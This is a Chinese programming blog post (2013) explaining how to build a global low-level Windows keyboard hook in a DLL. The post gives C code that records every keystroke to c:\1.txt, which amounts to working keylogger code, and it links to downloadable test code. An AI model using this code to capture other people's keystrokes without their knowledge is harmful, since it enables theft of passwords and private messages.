您的位置:首页 > 编程语言

使用windows挂钩监视键盘代码实现

2013-04-15 21:08 274 查看
编译环境VS2005

实现的功能很简单:

对于键盘的每一个输入:保存到文件中

实现原理:

安装全局键盘钩子

通过函数指针设置回调函数(用于将字符保存在文件中)

细化成以下几步

1 生成一个win32 dll工程(工程名为testdll,生成的dll为testdll.dll)

主要用于导出两个函数 一个是用于设置键盘钩子 一个是用于设置回调函数(用于得知键盘消息后进行执行)

2 接下来生成一个windows工程 使用上一个工程生成的dll,设置键盘钩子以及键盘消息回调函数,然后进行消息循环。程序退出这循环终止,钩子也就释放了。

//1

#ifdef TEST_API

#define TEST_API __declspec(dllexport)

#else

#define TEST_API __declspec(dllimport)

#endif

TEST_API BOOL setKeyBoardHook();

TEST_API BOOL clearAllHook();

typedef int (*FucOnKeyBoard)(long code, long scancode,long flags);

TEST_API void setHookFuncKeyBoard(FucOnKeyBoard ptFuc);

#undef TEST_API

TEST_API是宏开关 (在stdafx.h中定义这个宏)

//setKeyBoardHook函数实现

__declspec(dllexport) BOOL setKeyBoardHook()

{

if (hookkeyboard!=NULL)

{

return TRUE;

}

hookkeyboard = SetWindowsHookEx(WH_KEYBOARD_LL,KeyBoardProc,hInst,0);

if(hookkeyboard!=NULL)

{ /* success */

return TRUE;

}

return FALSE; // failed to set hook

}

// setHookFuncKeyBoard函数实现

__declspec(dllexport) void setHookFuncKeyBoard(FucOnKeyBoard ptFuc)

{

g_ptfuckeyboard = ptFuc;//g_ptfuckeyboard为全局变量



KeyBoardProc函数

static LRESULT WINAPI KeyBoardProc(int nCode,WPARAM wparam,LPARAM lparam)

{

if(nCode>=0)

{

LPKBDLLHOOKSTRUCT pKeyBoardHook =(LPKBDLLHOOKSTRUCT)lparam;

//如果截获到键盘消息就利用函数指针传递

if(g_ptfuckeyboard)

{

g_ptfuckeyboard(pKeyBoardHook->vkCode,pKeyBoardHook->scanCode,pKeyBoardHook->flags);

}

}

return CallNextHookEx(hookkeyboard,nCode,wparam,lparam);

}

//编译生成testdll.dll testdll.lib

//2

导入dll 添加testdll.h头文件

并且添加#pragma comment(lib, "testdll.lib")来导入库文件

定义键盘消息处理函数,

在初始化窗口之前调用两个函数

设置键盘钩子

设置回调函数

键盘回调函数的实现

int KeyboardRecord(long code,long scancode,long flags)

{

FILE* fp=NULL;

if((fp=fopen("c:\\1.txt","a"))==NULL)

{

exit(1);

}

static int i = 0;

if(i%2==0)

{

fprintf(fp,"%c",(char)code);//由于每个键有两个消息 按上和按下 所以会重复打印,因而我去两个中一个)

}

i++;

fclose(fp);

return 0;

}

然后在win32工程向导中添加如下三句代码

//设置钩子

BOOL bKeyboard;

if((bKeyboard=setKeyBoardHook())==TRUE)

setHookFuncKeyBoard(KeyboardRecord);

然后运行程序就可以监视键盘输入

键盘输入的值在c:\\1.txt中可以看到

测试代码如下:

http://download.csdn.net/detail/learniting/5261544
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: